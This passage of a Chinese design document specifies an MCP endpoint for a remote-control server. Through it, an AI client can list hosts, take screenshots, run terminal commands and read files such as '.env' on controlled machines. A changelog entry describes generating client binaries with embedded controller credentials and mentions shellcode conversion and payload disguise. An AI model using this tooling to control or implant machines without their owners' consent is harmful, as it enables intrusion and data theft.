- 老 macOS 构建:终端/进程类工具返回「client is too old ... upgrade」,不再假报成功。
|
||||
- `remote_open` 仍拒绝 `MAC`(屏幕/注入链路的 macOS 实机验证还没做),本批不动。
|
||||
- `mcp/tools.json` 是生成物(`tools/mcp_tools/`),平台表变更后要用跑起来的服务端
|
||||
重新生成。
|
||||
|
||||
## 25. 增补(2026-11-15:生成客户端工具 `build_client`)
|
||||
|
||||
服务端本地工具:按本主控的上线配置 patch 客户端模板(ghost / TestRun / ServerDll /
|
||||
TinyRun / Linux / macOS / Android)并落盘,不针对任何在线主机。入参没有 `id`,平台
|
||||
门禁直接放行;`kToolPlatforms` 登记为全平台。
|
||||
|
||||
- 独立开关 `McpBuild`(默认 `0`),并额外要求 `McpReadonly=0`。它写出的是带主控
|
||||
凭据、可分发的客户端二进制,风险等级与「操作在线主机」不同,因此不复用
|
||||
`McpManage` / `McpFileWrite`。
|
||||
- 与「生成服务端」对话框共用同一套字节搬运路径:CONNECT_ADDRESS 原地覆盖、版本日期
|
||||
校验、内嵌 TLS 锚(在 UPX / 增肥之前)。ShellCode AES / PE→ShellCode / 载荷伪装
|
||||
仍只能在对话框里做。
|
||||
- 默认拒绝覆盖同名文件(`overwrite=true` 才覆盖);默认 `encrypt_address=true`,
|
||||
`testrun_injsc` / `tinyrun` 与对话框一致不加密。
|
||||
- 生成逻辑在 `server/2015Remote/McpBuildClient.{h,cpp}`;完整参数、TLS 锚状态表、
|
||||
错误码、对话框联动改进与验收记录见 `docs/Mcp_BuildClient_Design.md`。
|
||||
- 同批改动:选 Linux/macOS/Android 时「安装目录」下拉框/标签、运行模式一并置灰,
|
||||
载荷/下载服务行隐藏,随机名称/管理员权限菜单项置灰(`BuildDlg.cpp`)。
|
||||
@@ -0,0 +1,863 @@
|
||||
# Go 服务端 MCP 最小工具集设计
|
||||
|
||||
> 版本:v1.0(定稿) 状态:**已实施(M0–M8 全部落地,2026-11-12)** 日期:2026-11-12
|
||||
>
|
||||
> 实施计划与各里程碑验收口径见 `Mcp_Go_Minimal_Implementation_Plan.md`。
|
||||
>
|
||||
> 前置文档:`Mcp_Tool_Optimization_Plan.md`(MFC 侧工具优化,已全部落地)、
|
||||
> `Mcp_FileTransfer_Design.md`(V2 文件传输协议与无头接收端)、
|
||||
> `Mcp_Design.md`(MCP 协议/错误码基线)、`FILE_TRANSFER_V2.md`(V2 协议清单)。
|
||||
>
|
||||
> 适用范围:`server/go` 新增 MCP 端点与 9 个工具。**不改客户端**——所有用到的
|
||||
> 命令与令牌均为 `common/commands.h` 既有定义,客户端已实现。
|
||||
>
|
||||
> 本文与 MFC 侧的差异只有一个来源:**Go 服务端的协议实现面比 MFC 窄**。MFC 有 54 个
|
||||
> 工具,是因为它把 20 多条客户端命令都接进了服务端;Go 目前只接了 4 条。所以这里的
|
||||
> "最小"不是"先做简单的",而是"按 Go 已具备的协议能力面裁剪,剩下的按需补齐"。
|
||||
|
||||
---
|
||||
|
||||
## 0. 结论摘要
|
||||
|
||||
1. **v1 交付 9 个工具**,全部命名、参数、错误码与 MFC 对齐,同一句提示词在两个后端都能跑通:
|
||||
`list_hosts` / `get_host_detail` / `get_server_status` / `get_audit_log` /
|
||||
`get_screenshot` / `terminal_exec` / `terminal_close` / `list_files` / `read_file`。
|
||||
2. **四条设备通道,三种是既有基础设施**:终端(`hub` 已有,只需加哨兵与输出缓冲)、
|
||||
主连接 RPC(`hub.SendToDevice`)、文件管理器子连接(`TOKEN_CONN_AUTH` 已把 clientID
|
||||
钉在 ctx 上,按 clientID 路由即可,**不需要** MFC 那套 pending + CancelIO)。
|
||||
只有 V2 流式子连接的接收端是全新的。
|
||||
3. **`get_screenshot` 走主连接 RPC(`COMMAND_SCREEN_PREVIEW_REQ`),不碰屏幕流。**
|
||||
屏幕流是持续推的 H.264(首帧裸 BGRA),取一帧就得建屏幕子连接、占住每设备唯一的
|
||||
屏幕槽位、用完再拆——代价远大于收益。预览 RPC 是主连接上的一次性请求响应,
|
||||
客户端自己抓屏编码回 JPEG(Linux 客户端回 BGRX,服务端编码)。不占任何槽位。
|
||||
4. **终端槽位是 Go 独有的硬约束**:`hub.go:86` 写明 *at most one web terminal per device*。
|
||||
v1 不做抢占——浏览器开着终端时 MCP 返回 `-32003`,空闲 3 分钟自动释放。
|
||||
这是安全默认,代价是"人在用终端时 AI 用不了",写进工具描述让模型自己换路。
|
||||
5. **MCP 端点零新增端口**:挂在现有 Web 服务的 `/mcp`(`web/server.go:126` 的 mux 里加一行),
|
||||
无状态 JSON-RPC,不引入 `Mcp-Session-Id`。鉴权用单一静态令牌(`YAMA_MCP_TOKEN`),
|
||||
映射到固定 principal `mcp`(role=admin)。
|
||||
6. **明确不做**:`remote_*`、`chat_*`、`host_*`、进程/服务/注册表/窗口枚举、文件写操作、
|
||||
`exec_command`(白名单一次性执行,被 `terminal_exec` 覆盖)、`outputSchema`。
|
||||
|
||||
---
|
||||
|
||||
## 1. 范围
|
||||
|
||||
### 1.1 做
|
||||
|
||||
| 层 | 内容 |
|
||||
|---|---|
|
||||
| 端点 | `POST /mcp`(JSON-RPC 2.0 / MCP 2025-06-18),`initialize` / `notifications/initialized` / `ping` / `tools/list` / `tools/call` |
|
||||
| 鉴权 | `Authorization: Bearer $YAMA_MCP_TOKEN`,常量时间比较 |
|
||||
| 工具 | 9 个(见 §3) |
|
||||
| 审计 | 每次调用一条 `mcp.tool.call` 记录,进既有审计通道 |
|
||||
| 设施 | 每设备单请求互斥、终端会话表、主连接 RPC 请求表、V2 接收端 |
|
||||
|
||||
### 1.2 不做
|
||||
|
||||
| 不做 | 理由 |
|
||||
|---|---|
|
||||
| `remote_open` / `remote_keyboard` / `remote_mouse` 等 | Go 有屏幕流但没有"注入结果回执",做出来无法验证;且属高风险写操作,先不开放给模型 |
|
||||
| `chat_*` | Go 无 `COMMAND_CHAT` 实现 |
|
||||
| `host_inspect` / `host_control_*` / 进程/服务/注册表/窗口枚举 | Go 协议层完全没有这些命令(`protocol/commands.go` 只声明了 4 条命令族) |
|
||||
| 文件写(`delete_path` / `move_path` / `upload_file` / `create_folder`) | V2 上传方向需要服务端作 sender,工作量与本期的接收端不对称;先只读 |
|
||||
| `download_file` | 接收端与 `read_file` 完全共用,v1.1 加约 20 行即可(差别只是落盘后不删)。v1 先只做"读",避免多一个往主控磁盘写文件的入口 |
|
||||
| `exec_command`(白名单一次性执行) | `terminal_exec` 已覆盖同一场景且无白名单摩擦(MFC 实测 `-32007` 全是白名单误拒) |
|
||||
| `outputSchema` | MFC 实测 outputSchema 占 `tools/list` 的 49,320 / 136,692 字节。9 个工具没必要背这个体积 |
|
||||
| 多用户令牌 / 按分组授权 | v1 单 principal;多用户留到 Go 侧真正多租户部署时(见 §12 R6) |
|
||||
|
||||
---
|
||||
|
||||
## 2. 基线
|
||||
|
||||
### 2.1 MFC 侧已交付(可直接对标的参照)
|
||||
|
||||
`mcp/tools.json` 当前 `toolCount=54`(优化前 63),默认配置下可见 21 个。
|
||||
`Mcp_Tool_Optimization_Plan.md` 的八项已全部落地,其中三项对 Go 有直接约束力:
|
||||
|
||||
| MFC 改动 | 对 Go 的约束 |
|
||||
|---|---|
|
||||
| `terminal_exec` 的 `session_id` 可变可选、无会话时隐式创建 | Go 不设 `terminal_open`,`terminal_exec` 隐式建会话 |
|
||||
| 超时保留会话、返回部分输出、`session_id` 轮询续取 | Go 同款语义,见 §6.6 |
|
||||
| `read_file` 复用 `download_file` 的 V2 接收端 | Go 的 `read_file` = 下载到临时目录 + 读 + 删,两者共用一份接收端 |
|
||||
|
||||
### 2.2 Go 侧现状
|
||||
|
||||
`protocol/commands.go:105-140` 声明的命令常量里,真正有发送点的只有三处:
|
||||
|
||||
| 能力 | 状态 | 位置 |
|
||||
|---|---|---|
|
||||
| 屏幕查看 / 控制 / 剪贴板 | 已实现(H.264 流 + 鼠标键盘) | `cmd/main.go` `handleScreenFrame` |
|
||||
| PTY 终端(每设备单会话) | 已实现,**仅浏览器流式转发** | `hub.go:756` / `hub.go:983` / `cmd/main.go:101-109` |
|
||||
| 卸载被控端 | 已实现 | `web/ws_handlers.go:1139` |
|
||||
| 设备 / 用户 / 分组 / 审计 | 已实现 | `hub.ListDevices` / `devicehistory.Offline` / `web/audit_query.go` |
|
||||
| 子连接鉴权(clientID 绑定) | 已实现 | `cmd/main.go` `handleConnAuth` |
|
||||
| 文件管理器(列盘/列目录/读/写) | **完全没有** | — |
|
||||
| 一次性命令执行 | **完全没有** | — |
|
||||
| 屏幕预览 RPC | **完全没有** | — |
|
||||
|
||||
### 2.3 两条可直接复用的结论
|
||||
|
||||
1. **终端是"跑命令"的唯一入口**。MFC 实测 186 次调用里 109 次是 `terminal_exec`
|
||||
(58.6%),且 59% 的命令本质是"读"。Go 没有必要先做一堆专用只读工具,
|
||||
把 `terminal_exec` 做扎实就是最高性价比。
|
||||
2. **但 `read_file` 不能省**。MFC 的优化结论是"`read_file` 是唯一真正的功能缺口"——
|
||||
终端读文件会被 PTY 回显、ANSI 转义、ConPTY 重绘污染,`.env` 这类文件读出来是脏的。
|
||||
Go 既然要上文件管理器,就一次做对。
|
||||
|
||||
---
|
||||
|
||||
## 3. 工具集
|
||||
|
||||
### 3.1 清单
|
||||
|
||||
| # | 工具 | 通道 | 只读 | 依赖能力位 |
|
||||
|---:|---|---|:--:|---|
|
||||
| 1 | `list_hosts` | 本机 | ✅ | — |
|
||||
| 2 | `get_host_detail` | 本机 | ✅ | — |
|
||||
| 3 | `get_server_status` | 本机 | ✅ | — |
|
||||
| 4 | `get_audit_log` | 本机 | ✅ | — |
|
||||
| 5 | `get_screenshot` | 主连接 RPC | ✅ | `CLIENT_CAP_SCREEN_PREVIEW` |
|
||||
| 6 | `terminal_exec` | 终端子连接 | ❌ | — |
|
||||
| 7 | `terminal_close` | 终端子连接 | ❌ | — |
|
||||
| 8 | `list_files` | 文件管理器子连接 | ✅ | — |
|
||||
| 9 | `read_file` | V2 流式子连接 | ✅ | —(见 §5.4 的说明) |
|
||||
|
||||
`YAMA_MCP_READONLY=1` 时只暴露 1/2/3/4/5/8/9 七个(6/7 隐藏)。
|
||||
|
||||
### 3.2 逐个定义
|
||||
|
||||
本节只用于阅读;**参数名与返回字段的唯一契约是 `mcp/tools.json` 的 `inputSchema` /
|
||||
`outputSchema`**(M1 起 `tools/list` 原样返回这些定义)。Go 取不到的字段省略,不伪造。
|
||||
|
||||
#### `list_hosts`
|
||||
|
||||
```jsonc
|
||||
// input(全部可选)
|
||||
{ "client_type": "EXE", "group": "asm", "include_offline": false, "ip": "10.",
|
||||
"limit": 100, "name": "ASM-", "offset": 0, "online": true, "os": "Windows",
|
||||
"query": "asm" }
|
||||
// output.structuredContent
|
||||
{ "hosts": [ /* ... */ ], "total": 7, "totalAll": 9, "limit": 100, "offset": 0, "hasMore": false }
|
||||
```
|
||||
|
||||
`client_type/group/ip/os` 为大小写不敏感子串过滤;`name` 匹配计算机名与备注,`query` 匹配
|
||||
计算机名、备注与 IP;`online=true`(默认)只列在线,`false` 只列历史中存在但当前离线的;
|
||||
`include_offline=true` 时再合并 `devicehistory.Store.Offline(online)`。`total` 是过滤后命中数,
|
||||
`totalAll` 是过滤前总数,`hasMore` 表示同一条件下还有下一页。`group` 过滤作用于 Web 控制台
|
||||
覆盖后的分组(`device_groups.json`,见下文 `hosts[]`)。
|
||||
|
||||
`hosts[]` 的字段按 `outputSchema`:`id/name/group/version/clientType/os/ip/rtt/activeWindow/
|
||||
screen/online/last_seen`,以及 hub 或历史记录里确有的 `location/install_time`,和 Go 版
|
||||
Web 控制台设置过的 `remark`(`device_notes.json`,未设置时省略)。`group` 以 Web 控制台的
|
||||
覆盖值优先(`device_groups.json`),没有覆盖时才用主机上报/历史记录里的分组;两个服务端都
|
||||
没有 `authStatus/tls`,不输出。离线历史条目不存 `clientType`,也没有 `rtt/activeWindow`。
|
||||
|
||||
#### `get_host_detail`
|
||||
|
||||
```jsonc
|
||||
{ "id": "7888521104752806905" } // 或 { "ids": ["…", "…"] }(≤50 台,批量)
|
||||
```
|
||||
|
||||
单台返回 `{ host: {...} }`;批量返回 `{ tool, total, succeeded, failed, skipped, results[] }`。
|
||||
`host.capabilities` 由 `protocol.SupportsCap` 逐位解出,字段名与 schema 一致:
|
||||
`screenPreview / screenRegion / windowInfo / fileTransferV2 / c2cPaths / registry /
|
||||
remoteControl / platform`。
|
||||
|
||||
注意**不要把 `v2` 放进 capabilities**:`CLIENT_CAP_V2` 在 `DefaultCaps()` 里全平台恒真
|
||||
(`common/commands.h:1289`),列出来只会误导模型。
|
||||
|
||||
#### `get_server_status`
|
||||
|
||||
无参。返回字段按 `outputSchema`:`version / uptime_sec / hosts / sessions / port / bind /
|
||||
switches / blocked_auth_ips / exe_build_time / app_name`。Go v1 只填能如实取到的:
|
||||
`version`(buildinfo)、`uptime_sec`、`hosts`(在线/历史计数)、`sessions`(MCP 活动调用,
|
||||
M3 起)、`port`、`bind`;其余属 MFC 专有,直接不给(schema 的 `required` 为空)。
|
||||
|
||||
`version` 取 `-ldflags -X` 注入的 `buildinfo.Version`——**Go 侧目前没有版本变量**
|
||||
(`cmd/main.go` 里查不到),需要新增 `buildinfo` 包并在 `Makefile` / `build.ps1` 里注入;
|
||||
拿不到时返回空串,不要伪造。`commit` 只用于日志与排障,不塞进 schema 未定义的返回字段。
|
||||
|
||||
#### `get_audit_log`
|
||||
|
||||
```jsonc
|
||||
{ "keyword": "terminal", "type": "mcp", "limit": 100, "offset": 0 }
|
||||
```
|
||||
复用 `web/audit_query.go` 的查询器(M2 抽成 `auditquery`),返回
|
||||
`{ entries, total, totalAll, limit, offset, hasMore }`。**没有 `since`**:MFC 的 schema 里就没有。
|
||||
|
||||
#### `get_screenshot`
|
||||
|
||||
```jsonc
|
||||
{ "id": "...", "max_width": 1024 }
|
||||
// output: content[] 里一项 image(mimeType=image/jpeg, base64 data)
|
||||
// structuredContent: { image: { mimeType, width, height, bytes },
|
||||
// capture: { mode, x, y, width, height, scale, native } }
|
||||
```
|
||||
`max_width` 钳制到 `[64,1920]`;缺省/0 时 Go v1 固定 1024(没有 MFC 的 RTT 自适应档位)。
|
||||
`mode=region/window/monitor` 与 `hwnd/x/y/width/height` 需要 `CLIENT_CAP_SCREEN_REGION` 扩展,
|
||||
M5 之前传任一参数都返回 `-32005` 并在 message 里点名。细节见 §7。
|
||||
|
||||
#### `terminal_exec`
|
||||
|
||||
```jsonc
|
||||
// 执行
|
||||
{ "id": "...", "command": "sc query AssemblyManager", "timeout_ms": 20000, "session_id": "..." }
|
||||
// 轮询(不带 command)
|
||||
{ "id": "...", "session_id": "s-3f2a", "timeout_ms": 20000 }
|
||||
// output
|
||||
{ "session_id": "s-3f2a", "stdout": "...", "done": true, "exit_code": 0,
|
||||
"is_pty": true, "reused": false, "truncated": false, "dropped_bytes": 0, "elapsed_ms": 412 }
|
||||
```
|
||||
超时未完成时 `done=false`、无 `exit_code`;`stdout` 是已产生的部分输出,**会话保留**,
|
||||
用同一 `session_id` 轮询。`max_output_bytes`(1024..1048576,默认 65536)按行截断并置
|
||||
`truncated`,剩余内容下次轮询取。
|
||||
|
||||
#### `terminal_close`
|
||||
|
||||
```jsonc
|
||||
{ "id": "...", "session_id": "s-3f2a" } // 幂等:会话不存在也返回成功
|
||||
```
|
||||
|
||||
#### `list_files`
|
||||
|
||||
```jsonc
|
||||
{ "id": "...", "path": "C:\\ProgramData\\AssemblyManager", "limit": 100, "offset": 0 }
|
||||
// output
|
||||
{ "files": [ { "name": "settings.ini", "isDir": false, "size": 1204, "mtime": 1699999999 } ],
|
||||
"total": 42, "totalAll": 42, "limit": 100, "offset": 0, "hasMore": false }
|
||||
```
|
||||
`path` 为空时返回盘符列表 `{ drives: [{ drive, typeName, fileSystem, totalMB, freeMB }] }`。
|
||||
批量传 `ids` 时结果按台汇总在 `results` 里。注意返回数组字段是 `files`,不是 `entries`。
|
||||
|
||||
#### `read_file`
|
||||
|
||||
```jsonc
|
||||
{ "id": "...", "path": "C:\\ProgramData\\AssemblyManager\\.env",
|
||||
"offset": 0, "limit": 2000, "max_bytes": 262144, "encoding": "auto" }
|
||||
// output
|
||||
{ "path": "...", "size": 4096, "encoding": "utf-8", "eol": "lf",
|
||||
"lines_total": 120, "offset": 0, "lines_returned": 120,
|
||||
"text": "IR_ENDPOINT=...", "sha256": "...", "truncated": false }
|
||||
```
|
||||
|
||||
**行语义**:`offset` 是起始行(0 基,负数表示末尾 N 行),`limit` 是行数(1..200000,默认
|
||||
2000),`max_bytes` 是本次返回文本的字节上限(1024..2097152,默认 262144=256KB),
|
||||
超出按行截断并置 `truncated`。`encoding`:`auto`(BOM → UTF-8 合法性 → GBK 回退)/
|
||||
`utf-8` / `gbk` / `gb18030` / `latin1`;`eol` 为 `crlf/lf/cr/mixed/none`。
|
||||
|
||||
**整文件上限 2 MiB**(`YAMA_MCP_READ_MAX`):V2 下载没有区间参数,只能整文件拉,超过就拒绝
|
||||
(`-32602`)。`offset`/`limit` 是下载后的窗口裁剪,绕不过这个门。
|
||||
|
||||
### 3.3 文本块(`content[].text`)
|
||||
|
||||
`structuredContent` 是权威数据,但部分 MCP 客户端只把 `content[].text` 交给模型,
|
||||
`structuredContent` 不会出现在模型上下文里。因此列表类工具的文本块不能只有「共 N 台」
|
||||
这样的汇总——主机 64 位 id 是 `read_file`、`get_host_detail`、`terminal_exec` 等后续调用
|
||||
的寻址键,模型拿不到就等于工具不可用。
|
||||
|
||||
| 工具 | 汇总行之后 |
|
||||
|---|---|
|
||||
| `list_hosts` | 表头 `id name remark ip group os online clientType last_seen`,随后每台一行 |
|
||||
| `get_host_detail` | 单台:主机 JSON(compact);批量:`id ok detail`,成功行是主机 JSON,失败行是错误信息 |
|
||||
| `list_files` | 盘符 `drive typeName fileSystem totalMB freeMB`;目录 `name isDir size mtime` |
|
||||
| `get_audit_log` | `time type msg`,`msg` 是去掉信封字段后的 compact JSON |
|
||||
|
||||
列用制表符分隔,首列一定是后续调用的寻址键(主机 id / 文件名)。单元格内的制表符与换行
|
||||
替换成空格,精确值以 `structuredContent` 为准;空值显示 `-`。分页只渲染当前页,不会把
|
||||
全表塞进文本块。
|
||||
|
||||
MFC 端不需要同样的改动:`McpInternal.cpp` 的 `BuildResult` 会把整个
|
||||
`structuredContent` 作为**第二个** `type:"text"` 项追加到 `content`(除非 builder 用
|
||||
`SetStructuredTextPayload` 指定了更小的载荷)。实测线上 `list_hosts` / `get_audit_log`
|
||||
的 `content[1]` 已是完整 JSON(含主机 id),文本型客户端本来就能拿到。Go 的
|
||||
`newToolResult` 只写一个 text 项,所以把行放进第一项。
|
||||
|
||||
---
|
||||
|
||||
## 4. 端点
|
||||
|
||||
### 4.1 `POST /mcp`
|
||||
|
||||
在 `web/server.go:126` 起的 mux 里加一行:
|
||||
|
||||
```go
|
||||
mux.HandleFunc("/mcp", s.mcp.Handle)
|
||||
```
|
||||
|
||||
**不能复用 `s.requireBearer`**:它校验的是浏览器会话令牌(`s.auth.ValidateToken`),
|
||||
MCP 用的是独立的静态令牌,两套凭据语义不同。鉴权在 `mcp.Handle` 内部自己做
|
||||
(§4.2)。`basePath` 由 `s.mount` 统一处理,`/mcp` 不需要自己感知前缀。
|
||||
|
||||
协议形态:
|
||||
|
||||
| 项 | 取值 |
|
||||
|---|---|
|
||||
| 协议版本 | `2025-06-18`(与 MFC `tools.json` 的 `protocolVersion` 一致) |
|
||||
| 会话 | **无状态**。不生成、不校验 `Mcp-Session-Id` |
|
||||
| `POST` 响应 | `Content-Type: application/json`,单条 JSON-RPC 响应 |
|
||||
| `GET /mcp` | `405 Method Not Allowed`(v1 无服务端主动推送流;MCP 规范允许此返回) |
|
||||
| `DELETE /mcp` | `405` |
|
||||
| 批量请求 | 不支持(数组入参返回 `-32600`) |
|
||||
| 通知(无 `id`) | 一律 `204 No Content`,不返回体 |
|
||||
|
||||
无状态的代价是**没有 `notifications/progress` / `notifications/cancelled`**。
|
||||
取消靠 HTTP 请求断开——`r.Context()` 被取消时,处理函数释放设备锁、终端会话按
|
||||
§6.6 处理(不销毁)。这与 MFC 的 `-32800 请求被取消` 语义对齐。
|
||||
|
||||
### 4.2 令牌
|
||||
|
||||
```
|
||||
YAMA_MCP_TOKEN=<32 位十六进制> # 必填;未设置 = MCP 端点不注册(/mcp 返回 404)
|
||||
YAMA_MCP_READONLY=1 # 可选,只读模式(隐藏 terminal_exec / terminal_close)
|
||||
YAMA_MCP_TERM_IDLE=180 # 可选,终端会话空闲回收秒数
|
||||
YAMA_MCP_MAX_CONCURRENCY=16 # 可选,全局并发上限
|
||||
YAMA_MCP_READ_MAX=2097152 # 可选,read_file 文件大小门(字节,默认 2 MiB)
|
||||
```
|
||||
|
||||
- 未设置时**不注册路由**,并在启动日志打一行 `MCP endpoint disabled: YAMA_MCP_TOKEN not set`。
|
||||
不自动生成——生成的令牌若只落在日志里,等于没有密钥管理。
|
||||
- 比较用 `subtle.ConstantTimeCompare`,长度不等直接失败(不 leak 长度)。
|
||||
- principal 固定为 `{actor: "mcp", role: "admin"}`。审计记录里 `actor=mcp`,
|
||||
`source=mcp`,与浏览器会话(`actor=<username>`)可区分。
|
||||
- 不做失败计数封禁:令牌是 32 位十六进制(128 bit),且端点不对外暴露时无爆破面。
|
||||
若将来暴露到公网,按 `web/ws_handlers.go` 的登录节流同款加计数(记入 §12 R6)。
|
||||
|
||||
### 4.3 错误码
|
||||
|
||||
与 MFC 完全对齐(`McpServer.cpp:296-312` 的官方说明),Go 侧只实现用得到的:
|
||||
|
||||
| 码 | 语义 | Go 侧触发点 |
|
||||
|---:|---|---|
|
||||
| `-32001` | 超时 | 等子连接/等响应超时;`done=false` 不算此码 |
|
||||
| `-32002` | 主机离线或不存在 | `hub.IsOnline` 为假 |
|
||||
| `-32003` | 主机忙 | 设备锁被占 / 终端槽位被浏览器持有 |
|
||||
| `-32004` | 命令未送达 | `hub.SendToDevice` 返回错误 |
|
||||
| `-32005` | 主机不支持该能力 | 缺 `CLIENT_CAP_SCREEN_PREVIEW`(截屏);非 PTY 客户端用 `terminal_exec` |
|
||||
| `-32006` | 策略拒绝 | 只读模式下调用写工具 |
|
||||
| `-32009` | 目标不存在 | `list_files` 的 `TOKEN_FILE_LIST_ERROR` 且 win32err∈{2,3} |
|
||||
| `-32010` | 权限不足 | `TOKEN_FILE_LIST_ERROR` 且 win32err=5 |
|
||||
| `-32602` | 参数错误 | schema 校验失败 |
|
||||
| `-32601` | 方法不存在 | 未知 method / 未知工具名 |
|
||||
| `-32000` | 内部错误 | 其余 |
|
||||
|
||||
### 4.4 审计
|
||||
|
||||
每次 `tools/call` 产出一条记录,字段沿用 `web/audit.go` 的形状:
|
||||
|
||||
```
|
||||
event=mcp.tool.call actor=mcp role=admin source=mcp
|
||||
tool=<name> device=<id|-> ok=<bool> code=<err|0> ms=<duration>
|
||||
args=<截断到 512 字节的摘要> result=<ok 时的体积摘要 / 失败时的 message>
|
||||
```
|
||||
|
||||
`args` 里的敏感值(`command` 全文可能含密码)**不入审计**——只记命令首词与长度,
|
||||
与 MFC 的做法一致(MFC 审计只记 `host <id> <tool>`)。完整命令进 `debug` 级日志。
|
||||
|
||||
---
|
||||
|
||||
## 5. 四条设备通道
|
||||
|
||||
```
|
||||
MCP client ──HTTP POST /mcp──▶ mcp.Server
|
||||
├─ 本机:hub.ListDevices / devicehistory / audit_query
|
||||
├─ 主连接 RPC SendToDevice(247) ─────────▶ 设备主连接
|
||||
├─ 终端 OpenTerminalSession ───────▶ 终端子连接
|
||||
├─ 文件管理器 COMMAND_LIST_DRIVE(1) ─────▶ 文件管理器子连接
|
||||
└─ V2 CMD_DOWN_FILES_V2(94) ─────▶ V2 流式子连接
|
||||
```
|
||||
|
||||
### 5.1 主连接 RPC(`get_screenshot`)
|
||||
|
||||
请求走 `hub.SendToDevice(deviceID, pkt)`,响应在 `cmd/main.go` 的 `OnReceive`
|
||||
里按 `data[0] == TOKEN_SCREEN_PREVIEW_RSP` 分派。**不走子连接,不占任何槽位。**
|
||||
|
||||
需要一个请求表:
|
||||
|
||||
```go
|
||||
type pendingRPC struct {
|
||||
reqID uint16
|
||||
ch chan []byte // 缓冲 1,迟到的响应写不进去就丢弃
|
||||
}
|
||||
m := map[uint64]*pendingRPC{} // key = deviceID(每设备同时只允许一个,与设备锁一致)
|
||||
```
|
||||
|
||||
`reqID` 用 `atomic.Uint32` 自增后取低 16 位;**必须校验响应里的 `reqId` 与在途请求一致**,
|
||||
否则丢弃——MFC 的 `TakePreviewResponse(devId, reqId, ...)` 就是干这个的
|
||||
(`2015RemoteDlg.cpp:7520`),原因是主连接上可能同时有别的预览在飞。
|
||||
|
||||
### 5.2 终端子连接(`terminal_exec` / `terminal_close`)
|
||||
|
||||
完全复用 `hub` 现有设施,**不改 hub**:
|
||||
|
||||
| 动作 | 调用 |
|
||||
|---|---|
|
||||
| 开会话 | `hub.OpenTerminalSession(deviceID)`;已存在返回 `ErrTerminalBusy` |
|
||||
| 等就绪 | 订阅 `EventHandler.OnTerminalReady(deviceID, isPTY)` |
|
||||
| 发输入 | `hub.SendToTerminal(deviceID, bytes)`;行尾按 §6.4 区分 `\n` / `\r\n` |
|
||||
| 收输出 | 订阅 `EventHandler.OnTerminalData(deviceID, packet)`,剥掉 4 字节 `TRM1` 前缀 |
|
||||
| 关会话 | `hub.CloseTerminalSession(deviceID)` |
|
||||
|
||||
`mcp.Server` 在启动时 `hub.Subscribe(self)` 一次,作为常驻订阅者;
|
||||
只有"当前有 MCP 终端会话的设备"才把数据写进环形缓冲,其余直接丢弃(零开销)。
|
||||
|
||||
### 5.3 文件管理器子连接(`list_files`)
|
||||
|
||||
时序:
|
||||
|
||||
```
|
||||
MCP ──▶ 主连接: COMMAND_LIST_DRIVE(1) [1 字节]
|
||||
客户端 ──▶ 新子连接(EnableSubConnAuth)
|
||||
└─ TOKEN_CONN_AUTH(246) ──▶ Go: 校验 + 把 clientID 钉在 ctx 上 + 回 ack
|
||||
└─ TOKEN_DRIVE_LIST(103) ──▶ Go: 解析盘符(子连接保持打开)
|
||||
MCP ──▶ 同一子连接: COMMAND_LIST_FILES(2) [cmd][path\0]
|
||||
└─ TOKEN_FILE_LIST(104) ──▶ Go: 解析目录项
|
||||
或 TOKEN_FILE_LIST_ERROR(171) ──▶ Go: 按 win32err 翻译
|
||||
└─ Go: 关子连接(COMMAND_BYE → 500ms → Close)
|
||||
```
|
||||
|
||||
注意 `TOKEN_DRIVE_LIST` 到达后**不能立刻关子连接**——列目录还要在同一个子连接上发
|
||||
`COMMAND_LIST_FILES`。MFC 的注释写得很明确:*此时不关子链接,交给 TOKEN_FILE_LIST
|
||||
分支收尾*(`2015RemoteDlg.cpp:7647`)。
|
||||
|
||||
关键点:
|
||||
|
||||
- **子连接带 ConnAuth**(`client/KernelManager.cpp:1773` 对 `COMMAND_LIST_DRIVE`
|
||||
调了 `EnableSubConnAuth()`),所以 `handleConnAuth` 已把 `ClientID` 钉在 ctx 上,
|
||||
Go **不需要** MFC 那套 `IsPending(devId)` 守卫。按 `ctx.GetInfo().ClientID` 路由即可。
|
||||
- 子连接由客户端创建、**由服务端关闭**(MFC 注释:*此时不关子链接,交给
|
||||
TOKEN_FILE_LIST 分支收尾*)。关闭用 `hub` 同款优雅关闭:发 `COMMAND_BYE(204)`,
|
||||
500 ms 后 `ctx.Close()`。
|
||||
- `TOKEN_DRIVE_LIST` 与 `TOKEN_FILE_LIST` 的记录格式见附录 A,直接照 MFC 的
|
||||
`ParseDriveList` / `ParseFileList`(`McpServer.cpp:506/548`)移植。
|
||||
- 文件名是**客户端 ANSI**,用 `protocol.DecodeClientString(data, hub.Capability(id), "")` 解码。
|
||||
|
||||
### 5.4 V2 流式子连接(`read_file`)
|
||||
|
||||
时序:
|
||||
|
||||
```
|
||||
MCP ──▶ 主连接: COMMAND_LIST_DRIVE(1)
|
||||
└─ 文件管理器子连接建立(同 §5.3)
|
||||
MCP ──▶ 文件管理器子连接: CMD_DOWN_FILES_V2(94) [cmd][targetDir\0][path\0][\0]
|
||||
└─ 服务端关掉文件管理器子连接
|
||||
客户端 ──▶ 新子连接(EnableSubConnAuth)
|
||||
└─ COMMAND_SEND_FILE_V2(85) × N ──▶ Go: 校验路径 → 落盘
|
||||
└─ COMMAND_FILE_COMPLETE_V2(91) ──▶ Go: 校验 SHA-256 → 完成
|
||||
MCP: 读临时文件 → 返回 → 删临时目录
|
||||
```
|
||||
|
||||
- `targetDir` 是**主控本机**的保存目录,由服务端指定;客户端把它拼进每个 chunk 的
|
||||
`filename` 回填。所以服务端必须用一个**每次请求新建的临时目录**
|
||||
(`os.MkdirTemp("", "yama-mcp-read-*")`),并在 `defer` 里 `RemoveAll`。
|
||||
- **路径校验是硬性安全要求**:`filename` 由客户端提供,必须校验它落在 `targetDir` 之内
|
||||
(**用 `filepath.Rel` 判越界,不能用字符串前缀比较**,见 §8.3),否则拒收并中止传输。
|
||||
没有这一步,被控端可以把任意文件写到主控磁盘任意位置。
|
||||
- **能力检查只作诊断兜底**。`CLIENT_CAP_V2` 在 `common/commands.h:1289` 的
|
||||
`DefaultCaps()` 里被**所有现代客户端无条件声明**,拿它做真门等于没门。Go 侧保留
|
||||
`SupportsCap(…, CLIENT_CAP_V2)` 检查的唯一作用,是让"能力串为空"的极老客户端直接
|
||||
得到 `-32005`,而不是等到 94 号命令静默超时(见下一条)。MFC 侧的 V2 是**服务端
|
||||
开关**(`2015RemoteDlg.cpp:2822` 的 `EnableFileV2`,默认关),不是客户端能力;
|
||||
Go 侧不搬这个开关,恒用 V2。
|
||||
